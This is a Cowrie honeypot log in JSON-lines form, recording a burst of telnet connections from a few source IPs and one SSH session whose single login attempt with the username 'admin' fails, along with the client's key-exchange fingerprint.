{"eventid":"cowrie.session.closed","duration":31.15509271621704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:42.949783Z","src_ip":"64.235.40.29","session":"cfdc7cb0486a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04742741584778,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.057239Z","src_ip":"64.235.40.29","session":"3fab0d0518a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405554056167603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.074644Z","src_ip":"64.235.40.29","session":"e358389d906e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76406216621399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.080112Z","src_ip":"64.235.40.29","session":"a3ae8a9f8253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55948,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef13b2190a46","protocol":"telnet","message":"New connection: 64.235.40.29:55948 (10.17.0.5:23) [session: ef13b2190a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.114346Z"}
{"eventid":"cowrie.session.closed","duration":30.278977155685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.175123Z","src_ip":"64.235.40.29","session":"58560be9fe62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902836084365845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.224770Z","src_ip":"64.235.40.29","session":"38d170abd0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"564e459591d8","protocol":"telnet","message":"New connection: 64.235.40.29:55960 (10.17.0.5:23) [session: 564e459591d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.230011Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55964,"dst_ip":"10.17.0.5","dst_port":23,"session":"408a8f0b587d","protocol":"telnet","message":"New connection: 64.235.40.29:55964 (10.17.0.5:23) [session: 408a8f0b587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.260756Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":38166,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f40a9f5796c","protocol":"telnet","message":"New connection: 135.148.33.217:38166 (10.17.0.5:23) [session: 8f40a9f5796c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.290679Z"}
{"eventid":"cowrie.session.closed","duration":31.22260570526123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.387200Z","src_ip":"64.235.40.29","session":"e135aa6e3a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672882080078125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.540015Z","src_ip":"64.235.40.29","session":"e419c1ce2a08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55970,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a281a87be9","protocol":"telnet","message":"New connection: 64.235.40.29:55970 (10.17.0.5:23) [session: 36a281a87be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:43.962274Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f20222300f3","protocol":"telnet","message":"New connection: 160.250.4.73:53904 (10.17.0.5:23) [session: 6f20222300f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.028212Z"}
{"eventid":"cowrie.session.closed","duration":30.963661670684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.055580Z","src_ip":"64.235.40.29","session":"125cb99da5d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55972,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9dd8b8f0f4","protocol":"telnet","message":"New connection: 64.235.40.29:55972 (10.17.0.5:23) [session: 8a9dd8b8f0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.087809Z"}
{"eventid":"cowrie.session.closed","duration":30.96620273590088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.207442Z","src_ip":"64.235.40.29","session":"0dc58db2bdd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.717131853103638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.239981Z","src_ip":"160.250.4.73","session":"8a7a04db5eb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181623935699463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.308712Z","src_ip":"64.235.40.29","session":"87a84a4123dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":55988,"dst_ip":"10.17.0.5","dst_port":23,"session":"daffbbf058c4","protocol":"telnet","message":"New connection: 64.235.40.29:55988 (10.17.0.5:23) [session: daffbbf058c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.314222Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":56002,"dst_ip":"10.17.0.5","dst_port":23,"session":"823b1023fc73","protocol":"telnet","message":"New connection: 64.235.40.29:56002 (10.17.0.5:23) [session: 823b1023fc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.369179Z"}
{"eventid":"cowrie.session.closed","duration":31.00030279159546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.526405Z","src_ip":"64.235.40.29","session":"3f050dcd117e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179029941558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.541676Z","src_ip":"195.154.29.177","session":"c5a0458522ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":53332,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bc2d7e7218","protocol":"telnet","message":"New connection: 195.154.29.177:53332 (10.17.0.5:23) [session: e0bc2d7e7218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.550828Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb857698c38","protocol":"telnet","message":"New connection: 64.235.40.29:56010 (10.17.0.5:23) [session: 1eb857698c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.708776Z"}
{"eventid":"cowrie.session.closed","duration":30.82965660095215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.746239Z","src_ip":"64.235.40.29","session":"f3fd76ed2fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"452b27e0b482","protocol":"telnet","message":"New connection: 64.235.40.29:56016 (10.17.0.5:23) [session: 452b27e0b482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.873658Z"}
{"eventid":"cowrie.session.closed","duration":31.217289209365845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:44.932774Z","src_ip":"64.235.40.29","session":"a7175c04c653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38424,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb40b4910cb","protocol":"telnet","message":"New connection: 64.235.40.29:38424 (10.17.0.5:23) [session: ecb40b4910cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.117144Z"}
{"eventid":"cowrie.session.closed","duration":30.825528860092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.138405Z","src_ip":"160.250.4.73","session":"676c9b21f690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829532861709595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.160188Z","src_ip":"160.250.4.73","session":"a4a5d1f107c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.469517707824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.165869Z","src_ip":"64.235.40.29","session":"4bfa37532769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683579206466675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.194655Z","src_ip":"64.235.40.29","session":"9db7d0ff440e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965555906295776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.217058Z","src_ip":"64.235.40.29","session":"bb0a29610813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"d53bb5aee54b","protocol":"telnet","message":"New connection: 160.250.4.73:53910 (10.17.0.5:23) [session: d53bb5aee54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.386182Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53916,"dst_ip":"10.17.0.5","dst_port":23,"session":"874658674486","protocol":"telnet","message":"New connection: 160.250.4.73:53916 (10.17.0.5:23) [session: 874658674486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.599101Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53922,"dst_ip":"10.17.0.5","dst_port":23,"session":"258a1d0eacc7","protocol":"telnet","message":"New connection: 160.250.4.73:53922 (10.17.0.5:23) [session: 258a1d0eacc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:45.756118Z"}
{"eventid":"cowrie.session.closed","duration":30.410832405090332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.048600Z","src_ip":"64.235.40.29","session":"17e4fe37dc7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07968282699585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.074904Z","src_ip":"64.235.40.29","session":"c85370e93b23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870858669281006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.080499Z","src_ip":"64.235.40.29","session":"2c8bae07312a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97949194908142,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.181953Z","src_ip":"64.235.40.29","session":"e2551c98e747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"861509b3d335","protocol":"telnet","message":"New connection: 64.235.40.29:38470 (10.17.0.5:23) [session: 861509b3d335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.318664Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":39680,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c12a795d8e7","protocol":"ssh","message":"New connection: 186.80.18.158:39680 (10.17.0.5:22) [session: 7c12a795d8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.361214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.367758Z","src_ip":"186.80.18.158","session":"7c12a795d8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.440955Z","src_ip":"186.80.18.158","session":"7c12a795d8e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jeanette","message":"login attempt [admin/jeanette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.741207Z","src_ip":"186.80.18.158","session":"7c12a795d8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53934,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a1ad7ba1cf5","protocol":"telnet","message":"New connection: 160.250.4.73:53934 (10.17.0.5:23) [session: 4a1ad7ba1cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:46.769687Z"}
{"eventid":"cowrie.session.closed","duration":30.23603391647339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.035510Z","src_ip":"64.235.40.29","session":"0f955995f23d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38502,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e9138f3b01","protocol":"telnet","message":"New connection: 64.235.40.29:38502 (10.17.0.5:23) [session: 51e9138f3b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.070235Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38460,"dst_ip":"10.17.0.5","dst_port":23,"session":"3951133b69fc","protocol":"telnet","message":"New connection: 64.235.40.29:38460 (10.17.0.5:23) [session: 3951133b69fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.148404Z"}
{"eventid":"cowrie.session.closed","duration":30.83048105239868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.153109Z","src_ip":"64.235.40.29","session":"f31d074c62ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837382078170776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.164706Z","src_ip":"64.235.40.29","session":"0d2acdb77023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03481125831604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.240529Z","src_ip":"195.154.29.177","session":"6a77de175432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069321155548096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.305882Z","src_ip":"64.235.40.29","session":"280dd97f772b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfd31e1d46a","protocol":"telnet","message":"New connection: 64.235.40.29:38532 (10.17.0.5:23) [session: 1cfd31e1d46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.441315Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53942,"dst_ip":"10.17.0.5","dst_port":23,"session":"9447f204caa0","protocol":"telnet","message":"New connection: 160.250.4.73:53942 (10.17.0.5:23) [session: 9447f204caa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.510310Z"}
{"eventid":"cowrie.session.closed","duration":30.842578172683716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.515167Z","src_ip":"64.235.40.29","session":"15959dea2e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:47.820770Z","src_ip":"186.80.18.158","session":"7c12a795d8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.240641593933105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.040198Z","src_ip":"64.235.40.29","session":"dc299e2e792a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38564,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7df390f351c","protocol":"telnet","message":"New connection: 64.235.40.29:38564 (10.17.0.5:23) [session: b7df390f351c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.095754Z"}
{"eventid":"cowrie.session.closed","duration":30.496551275253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.126245Z","src_ip":"160.250.4.73","session":"be27d993c70e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07847309112549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.147312Z","src_ip":"64.235.40.29","session":"fca7494470a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752349138259888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.252451Z","src_ip":"64.235.40.29","session":"f4e1fad994a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"446a338e6d31","protocol":"telnet","message":"New connection: 64.235.40.29:38572 (10.17.0.5:23) [session: 446a338e6d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.287096Z"}
{"eventid":"cowrie.session.closed","duration":31.034641981124878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.381259Z","src_ip":"160.250.4.73","session":"0c86b005fbab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38434,"dst_ip":"10.17.0.5","dst_port":23,"session":"2973622bbe9d","protocol":"telnet","message":"New connection: 64.235.40.29:38434 (10.17.0.5:23) [session: 2973622bbe9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.415060Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bc29a8a20a6","protocol":"telnet","message":"New connection: 160.250.4.73:53944 (10.17.0.5:23) [session: 5bc29a8a20a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.660719Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38578,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa22efcfe70","protocol":"telnet","message":"New connection: 64.235.40.29:38578 (10.17.0.5:23) [session: 8fa22efcfe70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.711154Z"}
{"eventid":"cowrie.session.closed","duration":31.9683358669281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:48.920971Z","src_ip":"64.235.40.29","session":"ec6189fd27f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751675128936768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.055198Z","src_ip":"64.235.40.29","session":"422fad7b9a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19283437728882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.068203Z","src_ip":"64.235.40.29","session":"22108a43dd32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58442783355713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.093367Z","src_ip":"64.235.40.29","session":"583fd50b05ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38610,"dst_ip":"10.17.0.5","dst_port":23,"session":"251eb0b664fc","protocol":"telnet","message":"New connection: 64.235.40.29:38610 (10.17.0.5:23) [session: 251eb0b664fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.139694Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a08804dc45","protocol":"telnet","message":"New connection: 64.235.40.29:38622 (10.17.0.5:23) [session: c0a08804dc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.226645Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"6574bd01d533","protocol":"telnet","message":"New connection: 64.235.40.29:38638 (10.17.0.5:23) [session: 6574bd01d533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.230407Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":48508,"dst_ip":"10.17.0.5","dst_port":23,"session":"e978a59812b2","protocol":"telnet","message":"New connection: 160.250.4.73:48508 (10.17.0.5:23) [session: e978a59812b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.272778Z"}
{"eventid":"cowrie.session.closed","duration":30.36447834968567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.307012Z","src_ip":"64.235.40.29","session":"74cda90f5736","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100173950195312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:54:49.311915Z","src_ip":"160.250.4.73","session":"1624fe3ce016","protocol":"telnet"}
